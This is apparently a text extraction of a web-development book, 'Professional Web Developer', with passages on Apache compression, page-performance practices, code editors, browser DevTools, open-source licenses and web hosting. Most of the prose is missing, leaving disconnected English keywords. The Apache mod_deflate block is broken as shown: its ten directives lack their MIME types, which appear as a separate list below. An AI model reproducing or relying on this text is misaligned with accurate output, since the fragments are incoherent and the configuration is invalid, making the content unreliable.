Apache Web Server Compress Content

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
AddOutputFilterByType DEFLATE
</IfModule>

text/plain
text/html
text/xml
text/css
application/xml
application/xhtml+xml
application/rss+xml
application/javascript
application/x-javascript
image/x-icon

Compress Image Contents


Compress Transfer mod_deflate Enable
()

19.5 Styles on Top and Scripts on Bottom

HTML Standard CSS Style <head> Section


CSS Style <head> Section
<head> Performance "
"
Web Developer JavaScript Content Loading
Progress Bar CSS Image Loading
CSS Image

Professional Web Developer () Performance Optimization

479

File Size Content


CSS <head> Browser
Progress Bar
Loading Resource
CSS <head>
Browser Request
Parallel HTTP JavaScript Request
Resource Request Browser JavaScript
Parallel Request JavaScript
JavaScript Document

Website Performance

19.6 Other Practices


Expires CSS, JavaScript Static Content Cache HTML
Dynamic Content Resource Cache
CSS JavaScript HTML
Cache
CSS File <link> Element
@import () CSS
Internet Explorer @import
CSS
@import CSS
CSS JavaScript Minify Minify White Space
JavaScript Variable Function Name

File
Size


cssminifier.com,
jscompress.com, refresh-sf.com Tool Minify CSS
JavaScript File Size % % File Size
Client Server
Web Page Overall Content Size Image
Image File Size Optimize Image
File Size Quality Quality File Size
Yahoo! Tool smushit.com Quality File

Professional Web Developer () Performance Optimization

480

Size Optimize Tool

CSS, JavaScript, Image Resource File Size


25KB iPhone File Size 25 KB Resource
Cache File Size 25
KB

Conclusion

Website ()



()
()
Optimize
Website

Firebug Browser DevTool Web Page
Request Request Resource
Request Website

(-) Tracing Request Information with Firebug


Firebug () Tools and Utilities

Ubuntu Linux

Linux Operating System Ubuntu OS


Configuration, Administration
Command-Line Interface Development
Environment
Email: author@u4ubook.com
Website: http://u4ubook.com

Professional Web Developer () Tools and Utilities

482

() Tools and Utilities


Be Comfortable with Your Gears

() Web Application
Code Editor DevTool
HTML, CSS, JavaScript, jQuery, PHP Code
Text Editor Notepad Editor

Program Text Editor Feature

20.1 Syntax Highlight

Text Editor Syntax Highlight HTML Element


Attribute Content JavaScript PHP Keyword
Operator Variable String
Code Syntax Highlight
Text Editor

(-) Sublime Text 3

Professional Web Developer () Tools and Utilities

483

20.2 Auto Complete

Code
Auto Complete Word Completion

Variable Function Name

(-) PHP Function Auto-Complete in Sublime Text 3


Auto Complete Word Complete Function Completion (-)
is_ PHP is_
Function
Smart Function
Function

Code Text Editor Function Complete Auto Complete


Word Complete

20.3 Error Highlight

Editor Code
IDE Integrated Development Environment
Text Editor
Language

Professional Web Developer () Tools and Utilities

484

Language
Language
Code Plugin
Extension

(-) JSLint in Sublime Text 3


(-) Sublime Text
Text Editor JSLint Package

JavaScript
build_task Function Highlight
JSLint
Text Editor Error Highlight

20.4 Navigation

Navigation
(-) Sublime Text Goto Everywhere

(-) File Navigation in Sublime Text 3

Professional Web Developer () Tools and Utilities

485

File Shortcut (Ctrl+P) File


File Fuzzy Search File
File
cat controller model Folder category.php
view/category Folder File Code Base
Code File Folder

(-) Function Navigation in Sublime Text 3


Function
Sublime Text Goto Everywhere Box @ Sign
Code File Function

20.5 Code Snippets

Code Snippets Code


(-) for
Sublime Text for Loop, foreach Loop
for Tab PHP for Loop Structure
foreach
Tab foreach Loop

html Tab HTML Structure Text Editor
div.header
Tab <div class="header"></div>
Code Snippets

Professional Web Developer () Tools and Utilities

486

(-) Code Snippets in Sublime Text 3

20.6 Other Features

Popular Sublime
Text 3 Sublime Text 3 Windows, Mac, Linux OS Text
Editor Open Source Software
Trial Version

Sublime Text sublimetext.com Download

Sublime Text 3
Mini-Map Code File
Multiple-Cursor
$name = $_POST['name'];
if($name == $config['name']) { }

name fname name Select


Ctrl+D name Multi-Select Select
fname Select name fname

Code
Duplicate Ctrl+Shift+D Duplicate

Ctrl+Alt Up/Down Arrow

Professional Web Developer () Tools and Utilities

487

Code Ctlr+J
Join
Comment ( ) Ctrl+/
Code Character Word Ctrl+Backspace
Select Ctrl+Shift+K

(-) Split-Screen Editing in Sublime Text 3


(-) Column Code File
HTML Document CSS File
Line Number Indent
Guide Close Tag Smart
Editor
Shortcut Ctrl+Shift+P
Command Platte Sublime Text



Package
- CSS3 Vendor Prefix
Sublime Text Prefixr Package
JavaScript Code Minify JSMinifier Package

Sublime Text

Development

Professional Web Developer () Tools and Utilities

488

20.7 Other Text Editors

Sublime Text

Text Editor
Syntax Highlight, Auto Completion, Navigation
Sublime Text
Sublime Text
Atom
Editor Chromium Browser
JavaScript
Editor Sublime Text Sublime Text
Atom Atom
Sublime
Text Propitiatory Software Open Source Software
Popular Code Editor Sublime Text Atom

Atom Code Editor Bracket HTML


Edit CSS Code Inline Edit
Live Preview Open Source Editor

Windows Notepad++ Split-screen


Text Editor Sublime Text Feature
Code Editor Open Source Text Editor

Linux Gedit, Vim Editor Gedit Ubuntu Linux OS


Default Text Editor
Vim
Advance Editor Windows Mac
Text Editor
Server Editor

Atom: https://atom.io/
Bracket: http://brackets.io/

Notepad++: http://www.notepad-plus-plus.org/
Vim: http://www.vim.org

20.8 Integrated Development Environment IDE

Text Editor IDE IDE Text Editor


Debugging, Integrated Web Browser, Refactoring, Pop-Up Documentation, Integrated Version History, Database Browser

Professional Web Developer () Tools and Utilities

489

Debugger Code Trace


Web Browser
IDE
Integrated Browser
Code Template Function Auto
Complete Documentation Reference
Version History Code
Code FTP Server

Project IDE Publish
Database Server

(-) NetBeans IDE


IDE
IDE

Netbeans: http://netbeans.org/
Eclipse PDT: http://eclipse.org/pdt/
Aptana: http://www.aptana.org/
Zend Studio: http://www.zend.com/en/products/studio/
PHPStorm: http://www.jetbrains.com/phpstorm/
PHPEdit: http://www.phpedit.com/
DreamWeaver: http://www.adobe.com/products/dreamweaver/

PHP Development

Professional Web Developer () Tools and Utilities

490

Netbeans, Eclipse Aptana IDE Zend Studio, PHPStorm PHPEdit


VS.PHP Extension Microsoft Visual Studio

PHP Development

20.9 Text Editor vs. IDE

Text Editor
Language
IDE Text Editor
Code Editing Web Browser, Database Manager, FTP Software, Terminal
Software IDE Development
IDE
Web Development PHP Project PHP
HTML/CSS JavaScript/jQuery
Ajax Application Server-side Client-side Development Focus
IDE
IDE Code Edit
IDE
Software Code Edit
IDE Text Editor Code Editing IDE

IDE Project Development

IDE
IDE Code Edit
Text Editor

20.10 Browser DevTools Firebug

Browser Web Document


JavaScript Error Browser
Error Document
JavaScript Code

Browser DevTools
Browser DevTools Browser DevTools
Tool Firebug Browser Tool
Firefox Browser Addon
Firebug getfirebug.com Mozilla Firefox Download Browser Addon
Install Firefox Menu Web Developer Get More Tools
Firebug
Addon Get More Tools

Professional Web Developer () Tools and Utilities

491

(-) Firebug Inspect


Firebug Install (-) () Bug Toolbar
Browser Firebug Window Window

() Document Element
Element HTML Structure CSS Style
(-) HTML <h1> Element Highlight CSS h1
CSS Style CSS File Line

Document Document Reload

Firebug Install Document Element Right-Click Inspect with
Firebug

HTML/CSS Firebug
Code File
Style Live
() Panel
Panel

Console

Professional Web Developer () Tools and Utilities

492

(-) Firebug Console


(-) () JavaScript Error Toolbar
Bug Icon Error Error "ReferenceError: $ is not
defined" $ Sign Error
jQuery jQuery Object
JavaScript Error

() Button Code Entry Box Code Entry
Box () JavaScript
ID Selector
title Element Content "Online Book Store"
()
Run JavaScript Code
JavaScript Code Live
Panel CSS, Script DOM Panel Document CSS
JavaScript DOM Structure Information Script Panel
JavaScript Code Break Point Trace Debug

Professional Web Developer () Tools and Utilities

493

(-) Firebug Net


Net Panel Request/Respond
Status Code Request

XHR Request JavaScript Request
Firebug Net Panel () XHR Tab XHR
Request/Respond

XHR Tab Request URL Request
Respond Data
Ajax Todo App XHR Request (-)
Respond Data Firebug XHR JSON Array
XHR Request/Respond

Professional Web Developer () Tools and Utilities

494

(-) Firebug Cookie


Panel Cookie Cookie Panel Application
Cookie Cookie Cookie
Right-Click Cookie () Cookies
Menu Create Cookie
Firefox Build-in DevTools Firebug Firebug
Build-in DevTools Firebug Plugin
Build-in DevTools

20.11 Chrome DevTools

Google Chrome Browser Build-in DevTools Developer


Firebug Chrome DevTools
Firebug DevTools
Firebug Firefox DevTools, Chrome DevTools Tool
Tool

Professional Web Developer () Tools and Utilities

495

(-) Chrome DevTools Setting


(-) Chrome DevTools User Agent ()
Setting Button DevTools Setting ()
Override User Agent User Agent Chrome
Request Server Android 2.3 Request
Mobile Web Development

Conclusion

Developer Code Editor Browser


Software Productive
Setting Extension Setup
Code

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer

497

Catching Up with the Technology

Professional Web Developer



() HTTP Web Standard Ajax
HTML5 Web HTTP

() HTML Web Application HTML
Document Format Semantic Data Structure

() CSS CSS User Interface


() JavaScript JavaScript DOM API
Document Element CSS
Interactive User Interface
() HTML5 Rich Internet Application
JavaScript Framework
JavaScript

() jQuery DOM Manipulation jQuery User


Interface

jQuery Plugin

Professional Web Developer

498

() Server-side
PHP

() PHP Programming Language Request Data


Form Input PHP
Session/Cookie PHP
Function
() MySQL Database Feature phpMyAdmin Web
Based Database Management Software PHP MySQL
Web Application
() Apache Web Server PHP Setting Apache
Cache Module, URL Rewrite Module Application
Web Application

() Modern Web Application Ajax


jQuery
XHR Request Application
JavaScript Web Application

() Content Website Content
Management System Wordpress CMS Install Theme
Plugin Wordpress Theme

() Code Maintainability Web Application Development
Model View Controller Pattern MVC Pattern PHP

() Web Application HTML5
Semantic Sectioning Element CSS3 Offline App Real-time App
HTML5
() Google, Facebook Web Application Service

() Web Application Self-descriptive URL

Professional Web Developer

499

Consistence URL
() Web Application Interface Mobile Screen
Responsive Web Design
Twitter Bootstrap Framework Responsive Template

() Web Application Security SQL Injection, CSRF, XSS


Threat Password Hash


() Website

() Code Productive Text Editor

Sublime Text 3 Browser DevTools Firebug
HTML, CSS, JavaScript XHR Request Live




Developer LifeLong Learning " " Self-study " "



Self-study












Professional Web Developer

500





Web Developer

Fairway Web
--
--
-- Version 2.1

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer ()

502

()
Everything You Know about Open Source is Wrong

Open Source
jQuery, PHP, MySQL, Apache, Wordpress JavaScript Framework
MVC Framework Open Source Open Source
Developer Web
Development
Open Source Software
Source Code
Software

Software and Copyright

Software



Software

Software Hardware

Software Third-Party Software
Bundle Software

Software
Software Software


Software

Professional Web Developer ()

503

Software






Software

Software Copy


Copyright Law






( )
Software End-User License Agreement (EULA) Software
Software
Software Software
Copy Software
(EULA )



" "
" "



( )

Software


Software Binary
Software
User Interface
EULA Software Reverse Engineer
Software
EULA "
"

Professional Web Developer ()

504

Software ""
Software




Software



Software
EULA


Software

Open Source Software
Open Source Software


Software
Software Open Source


License
Open
Source

Free Software Movement

Software
GNU Project
Richard Stallman Free Software Foundation (FSF)
Software
EULA Software
Software
Free Software Movement
Open Source
Free Software Foundation Software ()
()
Freedom 0: The freedom to run the program for any purpose.
Freedom 1: The freedom to study how the program works, and change it to make it do what you
wish.
Freedom 2: The freedom to redistribute copies so you can help your neighbor.
Freedom 3: The freedom to improve the program, and release your improvements (and modified
versions in general) to the public, so that the whole community benefits.

Professional Web Developer ()

505

Software
Software

Source Code Software
Source Code () () Source
Code
Software

Software Freedom FSF Free
Libre ( )

Free Software Software

FSF Free "free as in free speech, not as in free beer"

Open Source Software

Eric S. Raymond The Cathedral and the Bazaar


Free Software

Free Software Open Source
Software
Free Software
Free Software Foundation
() Debian Open Source
Software Definition
Open Source Netscape
Netscape Free Software Software
(Business Model)

Free Software Open Source Software

Bruce Perens, Tim OReilly, Linus Torvalds Open
Source Free Software
Software Open Source Software Open
Source Initiative (OSI) Eric Raymond Bruce Perens

Professional Web Developer ()

506

FOSS and FLOSS

Free Software Open Source Software Free and Open Source Software (FOSS)
OSI FOSS
Department of
Defense Free Software Open Source Software FOSS


Free/Libre/Open Source Software FLOSS
Free Software
Open Source Software

FLOSS

Open Source License

Copyright Copyright Law Copyright Law




Public Domain
( )
Open Source Software Public Domain Open Source
Software

Software

Open Source Software


Open Source Software
Software
Software Software
EULA


Software
Open Source Software


GNU, OSI Open Source
Open Source
" "

Open Source License

Professional Web Developer ()

507

1. GNU General Public License (GPL)

Software
Software
Version GPL

Software
Software GPL

2. GNU Lesser General Public License (LGPL)

Software
Software
Version LGPL

Software
Software

3. BSD License

Software
Software
Version
Version Promote
( )

4. MIT License

Software
Software

Software

5. Apache License

Software
Software
Version
Software File

Choosing A License

GPL GPL
Open Source

Open Source Software Software Open Source

Open Source
Software Open Source
Open
Open Source Software GPL
BSD, MIT BSD MIT

Professional Web Developer ()

508


Mozilla License, Creative Common, CPAL Open
Source Mozilla Apache
Creative Common Software Document Text
Content pwdbook.com
Creative Common


GPL, LGPL Open Source

GPL Software Linux
OS Download CPAL
Credit
Software Open Source



- PHP
Open Source GPL MIT

Conclusion

Open Source Software


Open Source Software Freedom
Business Model IBM Google Open Source
Java, Apache Open Source IBM Business
Strategy Chrome, Android Open Source
Google Business Strategy RedHat
Open Source
Apache, Mozilla, Wikimedia
Open Source

Open Source
Open Source Software
Open Source Project

Professional Web Developer ()

509

()
Picking a Web Hosting

Web Application

Hosting from Home

Device IP Address
Public IP
Web Server Software IP Address
Web Server

Host Server
Server OS Server Main Power Backup Power

Server 24/7 Run
Maintenance
(CCTV, Security Guard)
Server Host

Data Center

Infrastructure Data Center Data Center


Server
Data Center
Server Maintenance
Data Center Colocation Center

Application Host Server Setting Data
Center Data

Professional Web Developer ()

510

Center
Maintenance Server
Data Center Data Center
Server Setting System
Administration Performance Server
Environment Apache, PHP MySQL Software
Application File FTP Setting
Server Update Software Installation Remote Administration
Server Email Setting Resource
Monitoring
Logging Setting

Data Center Server Host System Administration

Hosting Service Provider

Hosting Hardware Server


Setting Website
Register Server
Hosting Register Server
Control Panel Control Panel Web Browser
Web Application Application File Server /
Database
/ Domain Name Email Account
Server User Account Resource

(-) DreamHost Hosting Control Panel

Hosting Server Share Host, VPS, Dedicated Server


Professional Web Developer ()

511

(-) DreamHost Control Panel


Share Host Server Server
Server OS Application Application
User Account
File Server
File Share Host

Server
Software Server Install
Server Application Server OS
Application Application
Personal Website
Website Hosting

Virtual Private Server
VPS Hosting Share Host Server
Vitalization Server
Operating System Virtual OS
Hardware Server VPS


Server
Server Software
Install VPS Hosting
Dedicated Server Server
Colocation Server Colocation

Professional Web Developer ()

512

Server Dedicated Server


Hosting
Managed Hosting Server
Setting Server Maintenance

Application Requirement Hosting Plan
(Capacity) Hosting File
Storage Database Storage
Network Bandwidth

Email Account User Account Sub-Domain

Hosting

Share Host
Software Application
Language, Database

Domain Name

Hosting Server IP Address IP


Address
IP Address Domain
Name - google.com, wikipedia.org, facebook.com Domain Name
IP Address Website

Hosting
Domain Name
Domain Name Dash ( - )
Special Character Top-Level Domain (TLD)
.com, .net, .org, .edu, .gov, .info, .name, .asia, .biz Domain Name
Extension TLD
.gov TLD
.gov TLD ccTLD

TLD - .co.uk, .com.mm, .au, .sg
TLD ccTLD

Domain Name

Professional Web Developer ()

513


Domain Name Server
example.com example.com

Server Hosting Server Control Panel
Domain Name Domain Name Interface
Hosting DNS Server Hosting Control Panel
Tech Support Email DNS Address Domain Name
Interface DNS Setting DNS Address
example.com Server

Domain Name System (DNS) Phone Book Phone Book

DNS Phone Book IP Address Domain Name Domain Name
Server
IP Address DNS Database
IP Address IP Address Domain
Name

Server Setting - Apache Setting



<VirtualHost 123.45.67.89:80>
DocumentRoot /example.com
ServerName example.com
</VirtualHost>

123.45.67.89 Server IP Address DocumentRoot


/example.com Folder
example.com Server Apache /example.com Folder
Document Hosting Control Panel
Add Domain ( ) Option Domain Name Hosting
Script Setting Folder

Domain Name DNS Setting Hosting Server DNS Address Server
Setting Web Server
Application File Server Upload Database
Email Account Sub-Domain Hosting
Control Panel Option

Professional Web Developer ()

514

Conclusion

Domain Name Hosting



Application Provider

Domain Name Hosting

Recommend



Domain Name ()

Hosting
Share Host () ()
Dedicated Host ()
()
Amazon AWS, Google AppEngine, RackSpace, AppFog Hosting Cloud Hosting
Cloud Hosting Capacity
Capacity
Capacity
Cloud

...

Professional Web Developer


1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.

http://www.w3.org/wiki/Web_Standards_Curriculum
http://en.wikipedia.org/wiki/Http
https://http2.github.io/faq
http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
http://en.wikipedia.org/wiki/Xhtml
http://reference.sitepoint.com/css
http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography
http://developer.mozilla.org/en-US/docs/Web/JavaScript
http://javascript.crockford.com
http://api.jquery.com
http://fairwayweb.com/shortcut-to-jquery
http://fairwayweb.com/jquery-creating-elegant-todo-list
http://unixpapa.com/js/key.html
http://en.wikipedia.org/wiki/Php
http://en.wikipedia.org/wiki/.NET_Framework
http://en.wikipedia.org/wiki/JavaEE
http://php.net/quickref.php
http://en.wikipedia.org/wiki/Mysql
[Book] MySQL Database Usage & Administration by Vikram Vaswani
http://fairwayweb.com/mysql-making-design-decision
http://www.php.net/manual/en/ini.list.php
http://httpd.apache.org/docs/current/mod/quickreference.html
http://fairwayweb.com/php-simple-router
http://en.wikipedia.org/wiki/Ajax_(programming)
http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
http://developer.mozilla.org/en/docs/AJAX
http://fairwayweb.com/persistent-todo-list-with-ajax
http://codex.wordpress.org/Template_Hierarchy
[Book] The Pragmatic Programmer: From Journeyman to Master by Dave Thomas and Andy Hunt =
http://fairwayweb.com/tinymvc-php-micro-framework
http://diveintohtml5.info
http://en.wikipedia.org/wiki/Html5
http://fairwayweb.com/html5-solve-common-hassles
http://www.whatwg.org/specs/web-apps/current-work/multipage
[Book] Web API Design by Brian Mulloy
http://fairwayweb.com/you-should-rest
http://twitter.github.io/bootstrap
http://goldilocksapproach.com
http://www.owasp.org/index.php/Main_Page
http://php.net/manual/en/book.pdo.php
http://fairwayweb.com/open-source-history-license-model
http://www.quackit.com/web_hosting/tutorial/what_is_web_hosting.cfm
http://developer.yahoo.com/performance/rules.html

515

You might also like